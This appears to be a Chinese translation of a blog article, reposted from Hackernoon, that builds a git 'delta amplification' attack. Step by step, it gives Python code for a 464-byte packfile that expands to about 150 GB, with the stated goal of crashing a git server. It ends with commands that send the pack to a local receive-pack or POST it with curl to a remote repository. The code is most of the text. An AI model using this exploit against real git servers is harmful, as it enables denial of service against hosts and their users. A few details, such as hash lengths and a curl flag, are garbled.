Git增量扩增

git协议的一个有趣方面是delta对象。 它们实质上允许从一个对象复制粘贴内容以创建一个新对象。 让我们使用增量创建一个巨大的对象,并尝试破坏git服务器!

计划

我们可以复制粘贴的最大字节数为16711680字节(255 << 16),因此我们将使用此大小的blob并将其粘贴几千次。 只是为了好玩,我们实际上将从255个字节的blob开始,然后逐步提高。

git协议

但是首先,我们需要学习git协议。 负责接收对象的命令是receive-pack ,它期望的第一件事是参考更新列表。 例如:

<OLD_SHA1> <NEW_SHA1> refs/heads/master

我们不会费心寻找有效的OLD_SHA1 ,因此我们将通过创建一个新引用来回避它。 我们可以通过使用特殊的零ID哈希值做到这一点: 0000000000000000000000000000000000000000000000 。 对于NEW_SHA1,我们将仅使用一个虚拟哈希,例如11111111111111111111111111111111111111111 ,因为我们希望git服务器在实际尝试验证该哈希之前崩溃。

最后,这些命令以pkt-line格式编码,该格式添加了4字节长的十六进制前缀。 因此,让我们看看目前为止(我将使用Python 3作为代码示例)。

zero_id = b'0' * 40
fake_id = b'1' * 40
create_ref = b'%s %s refs/heads/xxx\x00\n' % (zero_id, fake_id)
pkt_line = b'%04x%s' % (len(create_ref) + 4, create_ref)
sys.stdout.buffer.write(pkt_line)
sys.stdout.buffer.write(b'0000')

包数

接下来,我们需要开始打包将要发送的对象。 让我们从标头开始:12个字节,包括:ASCII中的“ PACK”,后跟4个字节的版本号(总是2)和4个字节的跟随对象的数目(所有数字按网络字节顺序排列)。 根据我们的计划,我们将从大小为255的blob对象开始,使用此对象生成大小为65280的blob,然后使用此对象生成大小为16711680的blob,最后生成我们的大对象,因此共有4个对象。 我们不会费心创建任何提交对象。

pack = bytearray()
pack += b'PACK' + struct.pack('!II', 2, 4)

标头已准备好,让我们添加第一个blob。 包中的每个对象都需要一个对象标头,该标头编码其类型和大小。 我们将使用的类型号是:blob为3 ,delta为7

具有固定大小的字段将太明显了,因此git使用其自己的可变长度编码。 让我们编写一个函数来做到这一点:

def object_header(obj_type, obj_size):
    header = bytearray()
    b = (obj_type << 4) | (obj_size & 15)
    obj_size >>= 4
    while obj_size > 0:
        header.append(b | 0x80)
        b = obj_size & 0x7f
        obj_size >>= 7
    header.append(b)
    return header

我们终于准备好添加第一个blob!

size0 = 255
blob0 = os.urandom(size0)
pack += object_header(3, size0)
pack += zlib.compress(blob0)

三角洲

现在,我们可以创建第一个增量。 我们将blob0复制粘贴256次,以得到大小为65280的新blob。delta格式非常简单:

SRC_SIZE DST_SIZE [COMMANDS]

当然,大小也使用可变长度编码,因此让我们创建几个辅助函数:

def make_delta(src_size, dst_size, commands):
    return encode_size(src_size) + encode_size(dst_size) + commands
def encode_size(n):
    b = bytearray()
    while n > 0:
        mod = n & 0x7f
        n >>= 7
        if n > 0:
            b.append(0x80 | mod)
        else:
            b.append(mod)
    return b

我们还需要指向带有20字节哈希头的源对象,所以让我们添加一个函数来计算blob的ID:

def blob_id(blob):
    m = hashlib.sha1()
    m.update(b'blob %d\0' % len(blob))
    m.update(blob)
    return m.digest()

现在,我们有了所有构建块来创建我们的第一个增量对象:

size1 = size0 * 256
cmd1 = bytes([0x80 | 0x10, 0xff]) * 256
delta1 = make_delta(size0, size1, cmd1)
pack += object_header(7, len(delta1))
pack += blob_id(blob0)     # source
pack += zlib.compress(delta1)

让我们来谈谈我们创建的命令。 第一个字节定义了我们正在执行的操作。 0x80表示我们要从源对象复制。 0x10表示后面的字节将说明要复制多少字节。 因此,这2个字节实际上转换为:复制255个字节。 我们这样做256次。

好的,让我们创建第二个增量:

size2 = size1 * 256
cmd2 = bytes([0x80 | 0x20, 0xff]) * 256
delta2 = make_delta(size1, size2, cmd2)
pack += object_header(7, len(delta2))
pack += blob_id(blob0 * 256)    # source blob
pack += zlib.compress(delta2)

请注意,这里我们如何使用命令0x20 ,这意味着下一个字节将乘以256,并用作副本大小。 因此,我们的新命令转换为:复制65280字节,共256次。 另请注意,对于源ID,我们使用将由delta1生成的Blob

delta2是我们最大的构建块,让我们使用它来生成大约150 GB的blob大小。

size3 = size2 * 10000
cmd3 = bytes([0x80 | 0x40, 0xff]) * 10000
delta3 = make_delta(size2, size3, cmd3)
pack += object_header(7, len(delta3))
pack += blob_id(blob0 * 256 * 256)    # source blob
pack += zlib.compress(delta3)

在这里,我们使用命令0x40 ,该命令将以下字节乘以65536,从而允许我们创建命令:复制16711680字节,共10000次。

就是这样,总包大小为464字节,可生成约150 GB。 您可以运行:

./amplify.py | git receive-pack /path/to/repo.git

或尝试使用远程仓库:

./amplify.py | curl -v -X POST — data-binary @- -H ‘Content-Type: application/x-git-receive-pack-request’ https://host/path/repo.git/git-receive-pack 

这是最终的来源: https : //gist.github.com/verigak/bda113dc5850d2cb30c9b3c5f83c8141

From: https://hackernoon.com/git-delta-amplification-4c55b70e5cf0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值